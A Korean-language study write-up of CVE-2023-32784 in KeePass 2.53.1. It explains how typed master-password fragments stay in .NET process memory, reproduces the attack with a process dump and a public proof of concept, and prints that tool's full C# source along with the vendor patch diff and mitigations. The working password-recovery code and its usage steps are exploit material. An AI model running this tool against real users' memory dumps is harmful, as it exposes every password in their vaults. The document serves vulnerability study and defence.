KeePass Password Dumper (CVE-2023-32784)

CVE-2023-32784

Overview

KeePass는 윈도우, 맥, 리눅스에서 실행되는 오픈소스 비밀번호 관리자입니다.

CVE-2023-32784 취약점을 이용하여 실행중인 소프트웨어의 프로세스 메모리에서 마스터 텍스트 비밀번호를 추출할 수 있습니다.

메모리 덤프에서 일반 텍스트 비밀번호를 복구한다는 점이 흥미로웠고, 해당 취약점을 분석함으로써 프로세스 메모리 덤프에 대해 공부할 수 있을 것 같아 위 취약점을 선정하게 되었습니다.

Introduction

🧐 Discovery

2023-05-18 ‘vdohney’가 KeePass POC를 게시

⚙️ Method

POC는 “KeePass Master Password Dumper”라는 이름의 도구로 구성되어 있었고, 이 도구는 KeePass의 메모리에서 마스터 비밀번호를 덤프하여 일반 텍스트로 복구시킴.

공격자가 마스터 비밀번호를 공개한 후엔, 침해된 KeePass에 저장된 모든 비밀번호에 접근할 수 있게 됨.

= 메모리 릭 취약점

🔑 KeePass

주로 윈도우용 자유 오픈 소스 패스워드 관리자. 주요 목적은 패스워드를 저장하는 안전한 저장소를 제공하는 것.

클라우드 대신 로컬 장치에 사용자의 패스워드를 안전하게 암호화하고 저장하여 사용자가 패스워드를 관리할 수 있도록 도움.

🎯 Target

KeePass 2.53.1 버전에 영향을 끼침.

프로그램이 오픈 소스이기 때문에 관련된 모든 소프트웨어가 영향을 받을 수 있음.

🚚 How does it work?

KeePass는 암호 입력과 앱 전체의 텍스트 상자를 위해 SecureTextBoxEx라는 사용자 정의로 개발된 텍스트 상자를 이용함.

.NET의 특성으로 인해 SecureTextBoxEx 텍스트 상자에 아무 것이나 입력한 후 입력된 문자열의 남은 부분이 메모리에 생성됨.

ex)”Password”를 입력하면 다음과 같은 남은 문자열이 생성됨. •a, ••s, •••s, •••w, •••••o, ••••••r, •••••••d 첫 번째 문자는 복구 불가능

KeePass Password Dumper는 덤프 파일에서 이런 문자열을 검색하고 암호의 각 위치에 대해 암호 문자를 제공함. NET CLR은 메모리에 할당된 이런 문자열을 입력 순서에 따라서 할당하기도 함.

  • .NET Framework

    .NET CLR ( Common Language Runtime ) = .NET 프레임워크의 핵심 구성 요소. 애플리케이션 실행, 메모리 관리, 예외 처리, 쓰레드 관리 등

    https://jinjae.tistory.com/49

    https://bonsilrote.tistory.com/2

Attack Flow

구축 환경

  • Kali Linux 2022.4
  • Windows 실행환경으로 바꿈
  1. .NET 설치 https://dotnet.microsoft.com/en-us/download
  2. KeePass 2.53.1 설치 (KeePass - Browse Files at SourceForge.net) 최신 버전 말고 2.53.1로 설치
git clone https://github.com/vdohney/keepass-password-dumper

4.

dotnet run PATH_TO_DUMP

스크린샷 2024-07-22 오후 9.48.18.png

마스터 비밀번호를 생성하면 KeePass의 홈 화면으로 들어감

이 화면에서 사용자의 모든 비밀번호를 담고 있음 ( 사용자가 master 비밀번호를 입력할때마다 보이는 기본 화면)

스크린샷 2024-07-22 오후 9.48.36.png

Task Manager → KeePass 프로세스를 우클릭→ “Create dump file” → 프로세스 덤프 만들기

생성한 덤프 파일을 keepass-password-dumper 파일로 붙여넣기 한 뒤

dotnet run dumpfile.dmp (dmp 파일 이름)

공격이 제대로 작동하려면 다음과 같은 조건이 적용되어야 함

  • KeePass 소프트웨어에서 피해자(사용자)가 수동으로 마스터 비밀번호를 입력해야 함(복붙 안됨)
  • .NET이 설치되어 있어야함

스크린샷 2024-07-22 오후 9.49.19.png

두개의 첫번째 문자를 제외하고 마스터 비밀번호를 찾음

스크린샷 2024-07-22 오후 9.50.01.png

+) 로그인창이 열려있을 때 덤프파일을 생성하면 결과가 안나옴

PoC Code

PoC 코드는 SecureTextBoxEx 에 입력된 마스터 비밀번호를 검색한다. 메모리 덤프에서 마스터 비밀번호에 해당되는 패턴을 찾아 추출하고, 발견된 비밀번호 후보들을 출력한다.

  • 전체 코드

      // Simple POC script that searches a memory dump 
      // for passwords written inside KeePass 2.x SecureTextBoxEx 
      // text box, such as the master password.
        
      // usage:
      // dotnet run PATH_TO_DUMP [PATH_TO_PWDLIST]
      // 
      //
      // where PATH_TO_PWDLIST is an optional argument for generating a list of all possible passwords beginning from the second character.
        
      using System.Runtime.InteropServices;
      using System.Text.RegularExpressions;
        
      namespace keepass_password_dumper;
        
      internal static class Program
      {
          // What characters are valid password characters
          private const string AllowedChars = "^[\x20-\xFF]+$";
        
          // Read file in N-sized chunks
          private const int BufferSize = 524288; //2^19
        
          private static void Main(string[] args)
          {
              Console.OutputEncoding = System.Text.Encoding.UTF8;
              var passwordChar = "●";
        
              if (args.Length < 1)
              {
                  Console.WriteLine("Please specify a file path as an argument.");
                  return;
              }
        
              var filePath = args[0];
              if (!File.Exists(filePath))
              {
                  Console.WriteLine("File not found.");
                  return;
              }
        
              var pwdListPath = args.Length >= 2 ? args[1] : string.Empty;
              var candidates = new Dictionary<int, HashSet<string>>();
        
              var currentStrLen = 0;
              var debugStr = string.Empty;
        
              using (var fs = new FileStream(filePath, FileMode.Open, FileAccess.Read))
              {
                  var buffer = new byte[BufferSize];
                  int bytesRead;
        
                  while ((bytesRead = fs.Read(buffer, 0, buffer.Length)) > 0)
                  {
                      for (var i = 0; i < bytesRead - 1; i++)
                      {
                          // ● = 0xCF 0x25
                          if (buffer[i] == 0xCF && buffer[i + 1] == 0x25)
                          {
                              currentStrLen++;
                              i++;
                              debugStr += passwordChar;
                          }
                          else
                          {
                              if (currentStrLen == 0) continue;
                                
                              currentStrLen++;
        
                              string strChar;
                              try
                              {
                                  var character = new[] { buffer[i], buffer[i + 1] };
                                  strChar = System.Text.Encoding.Unicode.GetString(character);
                              }
                              catch
                              {
                                  continue;
                              }
        
                              var isValid = Regex.IsMatch(strChar, AllowedChars);
        
                              if (isValid)
                              {
                                  // Convert to UTF 8                            
                                  if (!candidates.ContainsKey(currentStrLen))
                                  {
                                      candidates.Add(currentStrLen, new HashSet<string> { strChar });
                                  }
                                  else
                                  {
                                      if (!candidates[currentStrLen].Contains(strChar))
                                          candidates[currentStrLen].Add(strChar);
                                  }
        
                                  debugStr += strChar;
                                  Console.WriteLine($"Found: {debugStr}");
                              }
        
                              currentStrLen = 0;
                              debugStr = "";
                          }
                      }
                  }
              }
        
              // Print summary
              Console.WriteLine("\nPassword candidates (character positions):");
              Console.WriteLine($"Unknown characters are displayed as \"{passwordChar}\"");
        
              Console.WriteLine($"1.:\t{passwordChar}");
              var combined = passwordChar;
              var count = 2;
        
              foreach (var (key, value) in candidates.OrderBy(x => x.Key))
              {
                  while (key > count)
                  {
                      Console.WriteLine($"{count}.:\t{passwordChar}");
                      combined += passwordChar;
                      count++;
                  }
        
                  Console.Write($"{key}.:\t");
                  if (value.Count != 1)
                      combined += "{";
        
                  foreach (var c in value)
                  {
                      Console.Write($"{c}, ");
        
                      combined += c;
                      if (value.Count != 1)
                          combined += ", ";
                  }
        
                  if (value.Count != 1)
                      combined = combined[..^2] + "}";
        
                  Console.WriteLine();
                  count++;
              }
              
              Console.WriteLine($"Combined: {combined}");
                
              if (pwdListPath == string.Empty)
                  return;
                
              var pwdList = new List<string>();
              generatePwdList(candidates, pwdList, passwordChar);
              File.WriteAllLines(pwdListPath, pwdList);
        
              Console.WriteLine($"{pwdList.Count} possible passwords saved in {pwdListPath}. Unknown characters indicated as {passwordChar}");
          }
        
          private static void generatePwdList(
              Dictionary<int, HashSet<string>> candidates, 
              List<string> pwdList, 
              string unkownChar, 
              string pwd = "",
              int prevKey = 0)
          {
              foreach (var kvp in candidates)
              {
                  while (kvp.Key != prevKey +1)
                  {
                      pwd += unkownChar;
                      prevKey ++;
                  }
        
                  prevKey = kvp.Key;
                    
                  if (kvp.Value.Count == 1)
                  {
                      pwd += kvp.Value.First();
                      continue;
                  }
                    
                  foreach (var val in kvp.Value)
                  {
                      generatePwdList(
                          candidates.Where(x => x.Key >= kvp.Key +1).ToDictionary(d => d.Key, d => d.Value), 
                          pwdList,
                          unkownChar,
                          pwd + val,
                          prevKey);
                  }
                  return;
              }
              pwdList.Add(pwd);
          }
      }
    
// What characters are valid password characters
    private const string AllowedChars = "^[\x20-\xFF]+$";

    // Read file in N-sized chunks
    private const int BufferSize = 524288; //2^19

AllowedChars : 비밀번호로 허용되는 문자들을 정의한 정규식 패턴. \x20(스페이스) 부터 \xFF ASCII문자 까지 허용.

BufferSize : 메모리 덤프 파일을 한 번에 읽어올 바이트 수 정의. 2^19 = 512KB

var candidates = new Dictionary<int, HashSet<string>>();

candidates : 비밀번호 후보들을 저장할 데이터 구조. Dictionary 의 키는 비밀번호의 길이를 나타내고, HashSet<string> 은 그 길이에서 발견된 문자열들을 저장함.


                        var isValid = Regex.IsMatch(strChar, AllowedChars);

                        if (isValid)
                        {
                            // Convert to UTF 8                            
                            if (!candidates.ContainsKey(currentStrLen))
                            {
                                candidates.Add(currentStrLen, new HashSet<string> { strChar });
                            }
                            else
                            {
                                if (!candidates[currentStrLen].Contains(strChar))
                                    candidates[currentStrLen].Add(strChar);
                            }

                            debugStr += strChar;
                            Console.WriteLine($"Found: {debugStr}");
                        }

                        currentStrLen = 0;
                        debugStr = "";
                    }

Regex 를 사용해서 문자(strChar)가 비밀번호로 사용할 수ㅜ 있는지 검사.

UTF-16으로 인코딩 되어 있다고 가정하고 해독하여 비밀번호 후보로 저장.

currentStrlen (각 비밀번호 길이) 에 해당하는 위치에 문자들을 저장.

 Console.WriteLine("\nPassword candidates (character positions):");
        Console.WriteLine($"Unknown characters are displayed as \"{passwordChar}\"");

        Console.WriteLine($"1.:\t{passwordChar}");
        var combined = passwordChar;
        var count = 2;

        foreach (var (key, value) in candidates.OrderBy(x => x.Key))
        {
            while (key > count)
            {
                Console.WriteLine($"{count}.:\t{passwordChar}");
                combined += passwordChar;
                count++;
            }

            Console.Write($"{key}.:\t");
            if (value.Count != 1)
                combined += "{";

            foreach (var c in value)
            {
                Console.Write($"{c}, ");

                combined += c;
                if (value.Count != 1)
                    combined += ", ";
            }

            if (value.Count != 1)
                combined = combined[..^2] + "}";

            Console.WriteLine();
            count++;
        }
      
        Console.WriteLine($"Combined: {combined}");

비밀번호 후보를 출력. 각 위치마다 가능한 ㅁ누자열을 보여주고, 여러 후보가 있을 경우 { } 로 감싸서 표시.

 private static void generatePwdList(
        Dictionary<int, HashSet<string>> candidates, 
        List<string> pwdList, 
        string unkownChar, 
        string pwd = "",
        int prevKey = 0)
    {
        foreach (var kvp in candidates)
        {
            while (kvp.Key != prevKey +1)
            {
                pwd += unkownChar;
                prevKey ++;
            }

            prevKey = kvp.Key;
            
            if (kvp.Value.Count == 1)
            {
                pwd += kvp.Value.First();
                continue;
            }
            
            foreach (var val in kvp.Value)
            {
                generatePwdList(
                    candidates.Where(x => x.Key >= kvp.Key +1).ToDictionary(d => d.Key, d => d.Value), 
                    pwdList,
                    unkownChar,
                    pwd + val,
                    prevKey);
            }
            return;
        }
        pwdList.Add(pwd);
    }
}

비밀번호 리스트를 생성해 각 위치에서 가능한 모든 문자열을 시도해가면서 리스트를 출력

Vulnerability Code

취약점을 생성하는 코드는 KeePass/UI/SecureTextBoxEx.cs 파일에 있다.

GG.JPG

.NET이 코드를 실행하면 .NET에서 관리되는 문자열이 생성된다.

입력된 문자열은 일반 텍스트로 메모리에 저장되고, 입력된 문자의 앞자리는 chPasswordChar의 플레이스 홀더로 사용된다. (앞에 두글자가 안보이는 것이 이 때문)

+) 플레이스홀더 = 사용자가 데이터를 입력해야 할 위치를 미리 시각적으로 표시하는 요소

SU.JPG

PasswordCharEx 클래스 코드를 확인해보니 x64의 플레이스홀더는 XCFX25 이다.

정리 : 마스터 비밀번호를 설정하는 문자열을 입력 → 문자는 플레이스홀더 + 일반 텍스트 문자로 관리되는 문자열 로 메모리에 저장됨

Patch Diff

2.53.1 → 2.57

private void RemoveInsert(int nLeftRem, int nRightRem, string strInsert)  // 추가된 부분
{
    Debug.Assert(nLeftRem >= 0);

    try
    {
        int cr = m_psText.Length - (nLeftRem + nRightRem);
        if(cr >= 0) m_psText = m_psText.Remove(nLeftRem, cr);
        else { Debug.Assert(false); }
        Debug.Assert(m_psText.Length == (nLeftRem + nRightRem));
    }
    catch(Exception) { Debug.Assert(false); }

    try { m_psText = m_psText.Insert(nLeftRem, strInsert); }
    catch(Exception) { Debug.Assert(false); }
}

RemoveInsert 메서드 : 기존 텍스트에서 특정 위치의 문자열을 제거하고 새 문자열을 삽입하는 기능을 하여 보안을 높임

private readonly string[] m_vDummyStrings = new string[64];
private readonly string m_strAlphMain = PwCharSet.UpperCase +
PwCharSet.LowerCase + PwCharSet.Digits + GetPasswordCharString(1);
private void CreateDummyStrings()
{
try
{
#if DEBUG¶
// Stopwatch sw = Stopwatch.StartNew();¶
#endif¶

int cch = m_psText.Length;
if(cch == 0) return;

int cRefs = m_vDummyStrings.Length;
string[] vRefs = new string[cRefs];
// lock(m_vDummyStrings) {¶
Array.Copy(m_vDummyStrings, vRefs, cRefs); // Read access¶

bool bUnix = NativeLib.IsUnix();
char[] v0 = GetPasswordCharString(cch).ToCharArray();
char[] v1 = GetPasswordCharString(cch + 1).ToCharArray();
char[] v2 = (bUnix ? GetPasswordCharString(cch + 2).ToCharArray() : null);
char chPasswordChar = v0[0];

byte[] pbKey = CryptoRandom.Instance.GetRandomBytes(32);
ChaCha20Cipher c = new ChaCha20Cipher(pbKey, new byte[12], true);
byte[] pbBuf = new byte[4];
GFunc<uint> fR = delegate()
{
c.Encrypt(pbBuf, 0, 4);
return (uint)BitConverter.ToInt32(pbBuf, 0);
};
GFunc<uint, uint> fRM = delegate(uint uMaxExcl)
{
uint uGen, uRem;
do { uGen = fR(); uRem = uGen % uMaxExcl; }
while((uGen - uRem) > (uint.MaxValue - (uMaxExcl - 1U)));
return uRem;
};
GFunc<uint, uint, uint> fRLow = delegate(uint uRandom, uint uMaxExcl)
{
const uint m = 0x000FFFFF;
Debug.Assert(uMaxExcl <= (m + 1U));
uint uGen = uRandom & m;
uint uRem = uGen % uMaxExcl;
if((uGen - uRem) <= (m - (uMaxExcl - 1U))) return uRem;
return fRM(uMaxExcl);
};
GFunc<uint, string, char> fRLowChar = delegate(uint uRandom, string strCS)
{
return strCS[(int)fRLow(uRandom, (uint)strCS.Length)];
};

uint cIt = (uint)m_strAlphMain.Length * 3;
if(bUnix) cIt <<= 2;
cIt += fRM(cIt);

for(uint uIt = cIt; uIt != 0; --uIt)
{
uint r = fR();

char[] v;
if(v2 != null)
{
while(r < 0x10000000U) { r = fR(); }
if(r < 0x60000000U) v = v0;
else if(r < 0xB0000000U) v = v1;
else v = v2;
}
else v = (((r & 0x10000000) == 0) ? v0 : v1);

int iPos;
if((r & 0x07000000) == 0) iPos = (int)fRM((uint)v.Length);
else iPos = v.Length - 1;

char ch;
if((r & 0x00300000) != 0)
ch = fRLowChar(r, m_strAlphMain);
else if((r & 0x00400000) == 0)
ch = fRLowChar(r, PwCharSet.PrintableAsciiSpecial);
else if((r & 0x00800000) == 0)
ch = fRLowChar(r, PwCharSet.Latin1S);
else
ch = (char)(fRLow(r, 0xD7FFU) + 1);

int cRep = 1;
if(bUnix) cRep = (((r & 0x08000000) == 0) ? 1 : 9);

Debug.Assert(v[iPos] == chPasswordChar);
v[iPos] = ch;

int iRef0 = (int)r & int.MaxValue;
for(int i = cRep; i != 0; --i)
vRefs[(iRef0 ^ i) % cRefs] = new string(v);

v[iPos] = chPasswordChar;
}

c.Dispose();
MemUtil.ZeroByteArray(pbKey);
MemUtil.ZeroArray<char>(v0);
MemUtil.ZeroArray<char>(v1);
if(v2 != null) MemUtil.ZeroArray<char>(v2);

// lock(m_vDummyStrings) {¶
Array.Copy(vRefs, m_vDummyStrings, cRefs);

#if DEBUG¶
// sw.Stop();¶
// Trace.WriteLine(string.Format("CreateDummyStrings: {0} ms.", sw.ElapsedMilliseconds));¶
// Console.WriteLine("CreateDummyStrings: {0} ms.", sw.ElapsedMilliseconds);¶
#endif¶

프로세스 메모리에 더미 조각(현재 비밀번호 길이와 비슷한 무작위 문자가 포함된 무작위 조각)을 만들어서 정상적으로 적힌 문자열을 판별하기가 더 어려워짐

Conclusion

  • windows에서 실행할 때, KeePass는 이제 텍스트 상자의 문자열을 직접 가져와 Windows API 함수 호출로 인해 문자열이 생성되는 것을 방지한다.
  • 공격을 방지하기 위해선 마스터 비밀번호를 변경하거나, 스왑 파일(pagefile.sys)을 삭제하고, 전의 메모리 덤프를 제거해 주는것이 좋다.

  • 메모리 분야와 C#에 대한 지식이 정말… 정말 거의 없었는데 메모리 덤프, 메모리 릭, .NET에 대한 개념, C# 코드 읽기 등 많은 것을 얻어갔다. 이래서 다들 1day 분석을 하는건가 깨달았다.
  • 1day 분석도 처음이어서 나름 쉬워 보이는 CVE를 공략했는데, 공격 방법도 어렵지 않고 결과도 직관적으로 바로 눈에 보여서 재밌었다.
  • 개인적으로 CVE 분석에 주어진 데드라인이 충분했다고 생각하지만, 다른 스터디와 병행하느라 찾아놓은 또 다른 CVE 들도 분석해보지 못한 것이 아쉽다. ( 물론 혼자서도 분석할 수 있지만,,, 다른 분들과 같이 기간 정해놓고 결과공유 하는게 끈기있게 끝낼 수 있는 것 같음 )

Reference

https://nvd.nist.gov/vuln/detail/cve-2023-32784

https://bleekseeks.com/blog/keepass-master-password-exploit-cve-2023-32784-poc

https://www.youtube.com/watch?v=EXgd4AV-VPQ